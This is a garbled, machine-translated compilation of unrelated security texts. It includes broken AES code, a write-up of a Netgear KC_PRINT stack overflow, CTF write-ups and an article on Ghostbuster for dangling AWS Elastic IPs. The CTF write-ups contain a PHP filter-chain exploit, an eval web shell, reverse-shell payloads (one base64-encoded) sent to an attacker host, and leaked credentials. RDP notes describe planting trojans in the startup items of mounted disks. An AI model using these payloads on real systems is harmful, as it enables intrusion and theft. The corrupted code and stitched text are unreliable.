0x9b、0x95,0xf7,0x40,0x94,0xf3,0xcd、0xc7,0x91,0x10、

0xdc、0x4a、0x14、0x9a、0x5c、0x76

))

invsbox=[sbox.index(i)foriinrange(256)]

#Learntfromhttp://cs.ucsb.edu/〜koc/cs178/projects/jt/aes.c

Xtime=lambdaa:((((a1)^0x1b)0xff)if(a0x80)else(a1)

rcon=(

0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40、

0x80,0x1b、0x36,0x6c、0xd8,0xab、0x4d、0x9a、0x9a、

0x2f、0x5e、0xbc、0x63、0xc6、0x97、0x35、0x6a、

0xd4、0xb3、0x7d、0xfa、0xef、0xc5、0x91、0x39、0x39、

))

deftext2matrix(テキスト):

Matrix=[]

Foriinrange(16):

byte=(text(8*(15-i)))0xff

ifi%4==0:

matrix.append([byte])

else:

マトリックス[i //4] .append(byte)

ReturnMatrix

defmatrix2Text(Matrix):

テキスト=0

Foriinrange(4):

Forjinrange(4):

テキスト|=(matrix [i] [j](120-8*(4*i+j)))

returnText

classaes:

def__init __(self、master_key):

self.change_key(master_key)

defchange_key(self、master_key):

self.round_keys=text2matrix(master_key)

#self.round_keys

Foriinrange(4,4*11):

self.round_keys.append([])

ifi%4==0:

byte=self.round_keys [i-4] [0] \

^sbox [self.round_keys [i-1] [1]] \

^rcon [i //4]

self.round_keys [i] .append(byte)

Forjinrange(1,4):

byte=self.round_keys [i-4] [j] \

^sbox [self.round_keys [i-1] [(j+1)%4]]

self.round_keys [i] .append(byte)

else:

Forjinrange(4):

byte=self.round_keys [i-4] [j] \

^self.round_keys [i-1] [j]

self.round_keys [i] .append(byte)

#self.round_keys

defencrypt(self、plantext):

self.plain_state=text2matrix(plantext)

self .__ add_round_key(self.plain_state、self.round_keys [:4])

Foriinrange(1,10):

self .__ round_encrypt(self.plain_state、self.round_keys [4*i:4*(i+1)))

self .__ sub_bytes(self.plain_state)

self .__ shift_rows(self.plain_state)

self .__ add_round_key(self.plain_state、self.round_keys [40:])

returnMatrix2Text(self.plain_state)

defdecrypt(self、ciphertext):

self.cipher_state=text2matrix(ciphertext)

self .__ add_round_key(self.cipher_state、self.round_keys [40:])

self .__ inv_shift_rows(self.cipher_state)

self .__ inv_sub_bytes(self.cipher_state)

Foriinrange(9,0、-1):

self .__ round_decrypt(self.cipher_state、self.round_keys [4*i:4*(i+1)))

self .__ add_round_key(self.cipher_state、self.round_keys [:4])

returnMatrix2Text(self.cipher_state)

def__add_round_key(self、s、k):

Foriinrange(4):

Forjinrange(4):

s [i] [j]^=k [i] [j]

def__round_encrypt(self、state_matrix、key_matrix):

self .__ sub_bytes(state_matrix)

self .__ shift_rows(state_matrix)

self .__ mix_columns(state_matrix)

self .__ add_round_key(state_matrix、key_matrix)

def__round_decrypt(

簡介在這篇文章中,我們將為讀者詳細介紹我們的小組成員Alex Plaskett、Cedric Halbronn和Aaron Adams於2021年9月發現的一個基於堆棧的溢出漏洞,目前,該漏洞已通過Netgear的固件更新得到了相應的修復。

該漏洞存在於KC_PRINT服務(/usr/bin/KC_PRINT),該軟件默認運行於Netgear R6700v3路由器上。雖然這是一個默認服務,但只有啟用ReadySHARE功能(即打印機通過USB端口物理連接到Netgear路由器)時,該漏洞才有可能被觸發。由於該服務不需要進行任何配置,因此,一旦打印機連接到路由器,攻擊者就利用默認配置下的這個安全漏洞。

此外,攻擊者還能在路由器的局域網端利用這個安全漏洞,並且無需經過身份驗證。如果攻擊得手,攻擊者就能在路由器上以admin用戶(具有最高權限)的身份遠程執行代碼。

我們的利用方法與這裡(https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)使用的方法非常相似,只是我們可以修改admin密碼並啟動utelnetd服務,這使我們能夠在路由器上獲得具有特權的shell。

儘管這里分析和利用的是V1.0.4.118_10.0.90版本中的安全漏洞(詳見下文),但舊版本也可能存在同樣的漏洞。

注意:Netgear R6700v3路由器是基於ARM(32位)架構的。

我們將該漏洞命名為“BrokenPrint”,這是因為“KC”在法語中的發音類似於“cassé”,而後者在英語中意味著“broken”。

漏洞詳情關於ReadySHARE這個視頻對ReadySHARE進行了很好的介紹,簡單來說,借助它,我們就能通過Netgear路由器來訪問USB打印機,就像打印機是網絡打印機一樣。

1.png

到達易受攻擊的memcpy()函數需要說明的是,雖然KC_PRINT二進製文件沒有提供符號信息,卻提供了很多日誌/錯誤函數,其中包含一些函數名。下面顯示的代碼是通過IDA/Hex-Rays反編譯得到的代碼,因為我們沒有找到這個二進製文件的開放源代碼。

KC_PRINT二進製文件創建了許多線程來處理不同的特性:

1.png

我們感興趣的第一個線程處理程序是地址為0xA174的ipp_server()函數。我們可以看到,它會偵聽端口631;並且接受客戶端連接後,它會創建一個新線程,以執行位於0xA4B4處的thread_handle_client_connection()函數,並將客戶端套接字傳遞給這個新線程。

void__noreturnipp_server()

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

addr_len=0x10;

optval=1;

kc_client=0;

pthread_attr_init(attr);

pthread_attr_setdetachstate(attr,1);

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock0)

{

.

}

if(setsockopt(sock,1,SO_REUSEADDR,optval,4u)0)

{

.

}

memset(sin,0,sizeof(sin));

sin.sin_family=2;

sin.sin_addr.s_addr=htonl(0);

sin.sin_port=htons(631u);//listensonTCP631

if(bind(sock,(conststructsockaddr*)sin,0x10u)0)

{

.

}

//acceptupto128clientssimultaneously

listen(sock,128);

while(g_enabled)

{

client_sock=accept(sock,addr,addr_len);

if(client_sock=0)

{

update_count_client_connected(CLIENT_CONNECTED);

val[0]=60;

val[1]=0;

if(setsockopt(client_sock,1,SO_RCVTIMEO,val,8u)0)

perror('ipp_server:setsockoptSO_RCVTIMEOfailed');

kc_client=(kc_client*)malloc(sizeof(kc_client));

if(kc_client)

{

memset(kc_client,0,sizeof(kc_client));

kc_client-client_sock=client_sock;

pthread_mutex_lock(g_mutex);

thread_index=get_available_client_thread_index();

if(thread_index0)

{

pthread_mutex_unlock(g_mutex);

free(kc_client);

kc_client=0;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

}

elseif(pthread_create(

g_client_threads[thread_index],

attr,

(void*(*)(void*))thread_handle_client_connection,

kc_client))

{

.

}

else

{

pthread_mutex_unlock(g_mutex);

}

}

else

{

.

}

}

}

close(sock);

pthread_attr_destroy(attr);

pthread_exit(0);

}客戶端處理程序將調用地址為0xA530的do_http函數:

void__fastcall__noreturnthread_handle_client_connection(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

while(g_enabled!do_http(kc_client))

;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

free(kc_client);

pthread_exit(0);

}do_http()函數將讀取一個類似HTTP的請求,為此,它首先要找到以\r\n\r\n結尾的HTTP頭部,並將其保存到一個1024字節的堆棧緩衝區中。然後,它繼續搜索一個POST /USB URI和一個_LQ字符串,其中usblp_index是一個整數。然後,調用0x16150處的函數is_printer_connected()。

為了簡潔起見,這裡並沒有展示is_printer_connected()的代碼,其作用就是打開/proc/printer_status文件,試圖讀取其內容,並試圖通過尋找類似usblp%d的字符串來查找USB端口。實際上,只有當打印機連接到Netgear路由器時才會發現上述行為,這意味著:如果沒有連接打印機,它將不會繼續執行下面的代碼。

unsignedint__fastcalldo_http(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

kc_client_=kc_client;

client_sock=kc_client-client_sock;

content_len=0xFFFFFFFF;

strcpy(http_continue,'HTTP/1.1100Continue\r\n\r\n');

pCurrent=0;

pUnderscoreLQ_or_CRCL=0;

p_client_data=0;

kc_job=0;

strcpy(aborted_by_system,'aborted-by-system');

remaining_len=0;

kc_chunk=0;

//buf_readisonthestackandis1024bytes

memset(buf_read,0,sizeof(buf_read));

//Readin1024bytesmaximum

count_read=readUntil_0d0a_x2(client_sock,(unsigned__int8*)buf_read,0x400);

if((int)count_read=0)

return0xFFFFFFFF;

//ifreceived'100-continue',sendsback'HTTP/1.1100Continue\r\n\r\n'

if(strstr(buf_read,'100-continue'))

{

ret_1=send(client_sock,http_continue,0x19u,0);

if(ret_1=0)

{

perror('do_http()write100Continuexx');

return0xFFFFFFFF;

}

}

//IfPOST/USBisfound

pCurrent=strstr(buf_read,'POST/USB');

if(!pCurrent)

return0xFFFFFFFF;

pCurrent+=9;//pointsafter'POST/USB'

//If_LQisfound

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'_LQ');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

usblp_index=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

if(usblp_index10)

return0xFFFFFFFF;

//bydefault,willexithereasnoprinterconnected

if(!is_printer_connected(usblp_index))

return0xFFFFFFFF;//exitifnoprinterconnected

kc_client_-usblp_index=usblp_index;然後,它將解析HTTP的Content-Length頭部,並開始從HTTP內容中讀取8個字節。並根據這8個字節的值,調用0x128C0處的do_airippWithContentLength()函數——這正是我們的興趣之所在。

///!\doesnotreadfrompCurrent

pCurrent=strstr(buf_read,'Content-Length:');

if(!pCurrent)

{

//HandlechunkedHTTPencoding

.

}

//nochunkencodinghere,normalhttprequest

pCurrent+=0x10;

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'\r\n');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

content_len=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

memset(recv_buf,0,sizeof(recv_buf));

count_read=recv(client_sock,recv_buf,8u,0);//8bytesarereadonlyinitially

if(count_read!=8)

return0xFFFFFFFF;

if((recv_buf[2]||recv_buf[3]!=2)(recv_buf[2]||recv_buf[3]!=6))

{

ret_1=do_airippWithContentLength(kc_client_,content_len,recv_buf);

if(ret_10)

return0xFFFFFFFF;

return0;

}

.do_airippWithContentLength()函數分配了一個堆緩衝區來容納整個HTTP的內容,並複制之前已經讀取的8個字節,並將剩餘的字節讀入該新的堆緩衝區。

注意:只要malloc()不因內存不足而失敗,實際的HTTP內容的大小就沒有限制,這在後面進行內存噴射時很有用。

然後,代碼繼續根據最初讀取的8個字節的值,來調用其他函數。就這裡來說,我們對位於0x102C4處的Response_Get_Jobs()比較感興趣,因為它包含我們要利用的基於堆棧的溢出漏洞。請注意,雖然其他Response_XXX()函數也可能包含類似的堆棧溢出漏洞,但Response_Get_Jobs()是最容易利用的一個函數,所以,我們就先撿最軟的一個柿子來捏。

unsignedint__fastcalldo_airippWithContentLength(kc_client*kc_client,intcontent_len,char*recv_buf_initial)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

recv_buf2=malloc(content_len);

if(!recv_buf2)

return0xFFFFFFFF;

memcpy(recv_buf2,recv_buf_initial,8u);

if(toRead(client_sock,recv_buf2+8,content_len-8)=0)

{

if(recv_buf2[2]||recv_buf2[3]!=0xB)

{

if(recv_buf2[2]||recv_buf2[3]!=4)

{

if(recv_buf2[2]||recv_buf2[3]!=8)

{

if(recv_buf2[2]||recv_buf2[3]!=9)

{

if(recv_buf2[2]||recv_buf2[3]!=0xA)

{

if(recv_buf2[2]||recv_buf2[3]!=5)

Job=Response_Unk_1(kc_client,recv_buf2);

else

//recv_buf2[3]==0x5

Job=Response_Create_Job(kc_client,recv_buf2,content_len);

}

else

{

//recv_buf2[3]==0xA

Job=Response_Get_Jobs(kc_client,recv_buf2,content_len);

}

}

else

{

.

}易受攻擊的Response_Get_Jobs()函數開頭部分的代碼如下所示:

//recv_bufwasallocatedontheheap

unsignedint__fastcallResponse_Get_Jobs(kc_client*kc_client,unsigned__int8*recv_buf,intcontent_len)

{

charcommand[64];//[sp+24h][bp-1090h]BYREF

charsuffix_data[2048];//[sp+64h][bp-1050h]BYREF

charjob_data[2048];//[sp+864h][bp-850h]BYREF

unsignedinterror;//[sp+1064h][bp-50h]

size_tcopy_len;//[sp+1068h][bp-4Ch]

intcopy_len_1;//[sp+106Ch][bp-48h]

size_tcopied_len;//[sp+1070h][bp-44h]

size_tprefix_size;//[sp+1074h][bp-40h]

intin_offset;//[sp+1078h][bp-3Ch]

char*prefix_ptr;//[sp+107Ch][bp-38h]

intusblp_index;//[sp+1080h][bp-34h]

intclient_sock;//[sp+1084h][bp-30h]

kc_client*kc_client_1;//[sp+1088h][bp-2Ch]

intoffset_job;//[sp+108Ch][bp-28h]

charbReadAllJobs;//[sp+1093h][bp-21h]

charis_job_media_sheets_completed;//[sp+1094h][bp-20h]

charis_job_state_reasons;//[sp+1095h][bp-1Fh]

charis_job_state;//[sp+1096h][bp-1Eh]

charis_job_originating_user_name;//[sp+1097h][bp-1Dh]

charis_job_name;//[sp+1098h][bp-1Ch]

charis_job_id;//[sp+1099h][bp-1Bh]

charsuffix_copy1_done;//[sp+109Ah][bp-1Ah]

charflag2;//[sp+109Bh][bp-19h]

size_tfinal_size;//[sp+109Ch][bp-18h]

intoffset;//[sp+10A0h][bp-14h]

size_tresponse_len;//[sp+10A4h][bp-10h]

ch

web

ezphp

タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント:PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

?php

highlight_file(__ file__);

//flag.php

if(isset($ _ post ['f'])){

echo hash_file( 'md5'、$ _post ['f']);

}

image-20240721022130265

ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

?php

if(isset($ _ get ['ezphpphp8'])){

highlight_file(__ file__);

} それ以外{

die( 'no');

}

$ a=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

Unset($ a);

$ a=$ _get ['ezphpphp8'];

$ f=new $ a();

$ f-getflag();

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

?php

if(isset($ _ get ['ezphpphp8'])){

//highlight_file(__ file__);

} それ以外{

//die( 'no');

}

$ anonymous=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

$ a=get_class($ anonymous);

echo urlencode($ a);

echo '\ n';

Unset($ anonymous);

//echo get_class($ a)。 ':今、あなたは私を見ます.';

$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');

$ f=new $ a();

$ f-getflag();

var_dump($ f);

//新しい例外を投げる(

//get_class($ anonymous)。今、あなたは\ 't!'をしないでください

//e_user_error

//);

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する:

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました:

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

?php

if(!isset($ _ server ['php_auth_user'])){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

エコー「無効な資格情報」;

出口;

}

}

@eval($ _ get ['cmd']);

highlight_file(__ file__);

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

! - ?php

#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

#修正について@digininjaに感謝します。

#使用するデータベース管理システム

$ dbms='mysql';

#$ dbms='pgsql'; //現在無効になっています

#データベース変数

#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

#DVWA専用のデータベースを使用してください。

#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

#これの詳細については、readme.mdを参照してください。

$ _DVWA=array();

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

#PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

#recaptcha設定

#「不安定なCaptcha」モジュールに使用されます

#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

#デフォルトのセキュリティレベル

#各セッションのセキュリティレベルのデフォルト値。

#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

#デフォルトのphpidsステータス

#各セッションでPHPIDSステータス。

#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

#verbose phpidsメッセージ

#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

? -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

#[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

#[得る('/')]

fn index() - string {

fs:read_to_string( 'main.rs')。unwrap_or(string:default()))

}

#[post( '/rust_code'、data='code')]

fn run_rust_code(code: string) - string {

code.contains( 'std'){

return 'error: stdは許可されていません'.to_string();

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng()

.sample_iter(rand:3360distributions:alphanumeric)

.take(5)

.map(char: -from)

.COLLECT:STRING();

let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){

file.write_all(code.as_bytes());

}

OK(build_output)=command:New( 'rustc')の場合

.arg(format!( 'playground/{}。rs'、file_name)))

.arg( '-C')

.arg( 'debuginfo=0')

.arg( '-C')

.arg( 'opt-level=3')

.arg( '-o')

.arg(format!( 'playground/{}'、file_name))

.output(){

if!build_output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();

}

}

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

OK(output)=command:New(format!( 'playground/{}'、file_name))の場合

.output(){

if!output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stderr.as_slice())。to_string();

} それ以外{

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stdout.as_slice())。to_string();

}

}

return string:default();

}

#[打ち上げ]

fn rocket() - _ {

figment=rocket:config3360:figment()

.merge(( 'address'、 '0.0.0.0'));

Rocket:Custom(figment).Mount( '/'

ghostbuster.png

當你在AWS上部署基礎設施時,你可以啟動EC2實例,這些實例有一個與它們相關的IP。當你創建指向這些IP的DNS記錄,但在EC2實例被賦予一個新IP或被銷毀後忘記刪除DNS記錄時,你很容易受到子域劫持攻擊。

研究人員已經創建了一個名為Ghostbuster的工具,它的工作原理是枚舉與你擁有的每個AWS 賬戶關聯的所有彈性/公共IP,然後檢查是否有任何DNS 記錄指向你不擁有的任何彈性IP AWS 賬戶。請務必注意,此工具要求你完全覆蓋你的AWS 賬戶,以避免誤報。

關於如何設置和使用該工具的進一步說明可以在Github repo的README文件中找到。

在過去的十年裡,很多公司都切實採用了AWS、Azure和GCP等雲服務提供商,快速構建基礎設施,以滿足不斷增長的業務需求。遷移到雲原生架構給採用它的組織帶來了許多挑戰,從雲攻擊面的可見性到雲特定的安全漏洞。

雖然主要的雲服務提供商確實提供了許多安全方面的好處,但當涉及到安全時,它們都是在“共享責任”的模式下運行的。研究人員已經在AWS中看到了大量的配置錯誤漏洞,包括Route53 劫持、Cloudfront 劫持、ELB 劫持,以及現在的Elastic IP 劫持。這些錯誤配置被認為是屬於共享責任模型的客戶方,雖然AWS最終在其平台上部署了Route53、Cloudfront和ELB劫持的緩解措施,但這些漏洞被利用了好幾年。

值得注意的是,AWS並不是唯一一個在這些漏洞上存在漏洞的公司,微軟Azure和谷歌云平台在其基於雲的產品中也面臨著這一漏洞,許多其他雲提供商也是如此。

隨著雲攻擊面的快速擴展和流動性的增加,很難獲得對這些風險的可見性,尤其是在規模上。再加上雲提供商在部署緩解他們認為應該是共享責任模型中客戶方面的漏洞時行動緩慢,許多組織都在努力控制這些錯誤的配置漏洞。

為此安全公司Assetnote開源一個名為Ghostbuster的工具,Ghostbuster 是一款自動化瀏覽器測試工具,基於phantomjs,意味著你得到一個真正的瀏覽器,一個真正的DOM,仿真測試環境,可用於修復AWS環境中潛在的懸掛彈性IP(dangling elastic IP)漏洞。

什麼是懸掛彈性IP漏洞?當你將基礎設施部署到AWS 時,你可能會啟動具有關聯IP 的EC2 實例。當你創建指向這些IP 的DNS 記錄,但在EC2 實例被賦予新IP 或被銷毀後忘記刪除DNS 記錄時,你很容易受到子域劫持攻擊。

關於彈性IP劫持已經做了大量的研究,攻擊者可能會不斷地聲稱彈性IP,直到他們獲得與目標公司的子域名相關聯的IP。

雖然AWS經常會禁止試圖執行這種攻擊模式的賬戶,但AWS還沒有發布修復方案。

懸掛彈性IP子域劫持攻擊的影響比典型的子域劫持更嚴重,在子域劫持中,你只能控制所服務的內容。通過懸掛的彈性IP劫持,攻擊者可能還會進行如下操作:

通過ACME TLS 質詢為子域申請SSL 證書;

監聽所有端口上的流量(可能發現敏感信息仍在發送到子域);

運行具有竊取HTTPOnly cookie 能力的服務器端腳本,當cookie 範圍為*.domain.com 時,通常會導致一鍵式帳戶劫持攻擊;

研究人員並不是第一個注意到這個漏洞的人,最早關於彈性IP劫持的文章可以追溯到2015年,作者是Matthew Bryant。

自2015年以來,許多人嘗試了與Matthew類似的解決方案,他們堅持使用彈性IP分配和釋放的方法,直到他們找到目標公司使用的彈性IP。

其他PoC包括EIP Fish和Flying a False Flag - Cloud Racoon。

值得注意的是,一些漏洞賞金獵人對懸掛彈性ip的漏洞進行了大量研究。除了通過漏洞獎勵計劃或購買像安全平台(能夠主動檢測此漏洞)這樣的產品的公司之外,對於這些攻擊,研究人員唯一的保護措施就是AWS禁止他們認定的執行彈性IP劫持的賬戶。不幸的是,禁止賬戶並不是一個可行的解決方案。

AWS是如何處理這個漏洞的?研究人員已經與AWS的各個團隊就這個漏洞進行了多次討論,並試圖構建工具,以幫助該企業找到並緩解懸掛彈性IP劫持。

從歷史上看,AWS採取的方法是將這種行為有效地視為對其公共API 的濫用,並簡單地禁止那些分配或釋放彈性IP 過快的賬戶,或者AWS認為是濫用的模式。雖然這在一定程度上(特別是在規模上)提高了攻擊的門檻,但這並不是有效的長期緩解根本漏洞的辦法。

AWS表示,他們正在努力緩解這一漏洞,但這項緩解措施的具體細節和實施表仍不清楚。

就目前而言,這些技術仍然可行。

使用Ghostbuster緩解Ghostbuster是一款自動化瀏覽器測試工具,基於phantomjs,意味著你得到一個真正的瀏覽器,一個真正的DOM,仿真測試環境。

這個漏洞普遍存在,受此攻擊載體影響的組織數量不斷增加,因為公司繼續將更多的服務遷移到公共雲,特別是AWS。在關閉EC2實例後沒有刪除DNS記錄,這是一個很容易被引用的漏洞,並且由於自動配置而變得更加嚴重。

在AWS發布任何官方修復之前,研究人員建議你查看其新發布的開源工具Ghostbuster,它可以用來檢測潛在的懸掛彈性ip。

你可以通過運行:pip3 install ghostbuster 來安裝該工具,然後通過使用ghostbuster 命令來使用該工具。

該工具的工作原理是枚舉與你擁有的每個AWS帳戶相關的所有彈性/公共ip,然後檢查是否有任何DNS記錄指向你的任何AWS帳戶中不擁有的彈性ip。需要注意的是,該工具要求你完全覆蓋你的AWS帳戶,以避免誤報。

該工具對用戶非常友好,並使用你的.aws/config和.aws/憑據文件來遍歷每個配置的帳戶並執行處理。

此外,如果你使用Cloudflare 而不是Route53 來管理你的DNS,該工具還與Cloudflare 集成,以提取區域和關聯的DNS 記錄以進行分析。

如果你不使用Route53或Cloudflare來管理你的DNS區域,你可以向該工具(CSV)提供手動輸入。也可以配置Slack的webhook,以便該工具在檢測到潛在的劫持時發送通知。

該工具的設計方式使其可以頻繁地作為cron 作業運行,從而通知你隨時可能出現的潛在彈性IP劫持。

使用該工具時可以使用以下選項:

1.png

該工具的輸出如下所示:

2.png

關於如何設置和使用該工具的更多說明可以在我們的Github repo for Ghostbuster中的README 文件中找到。

總結大規模管理雲架構的安全性可能很困難,公司在EC2資源被破壞後留下DNS記錄是非常普遍的。

與僅能控制頁面內容的典型子域劫持攻擊不同,彈性IP劫持的風險要高得多,攻擊者能夠聲稱SSL證書,偵聽流量,並在海量cookie範圍的情況下執行帳戶劫持攻擊。

AWS 的預期緩解措施的細節及其發布的時間表仍不清楚。與此同時,你可以使用Ghostbuster在AWS環境中獲取懸掛的彈性ip。

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ
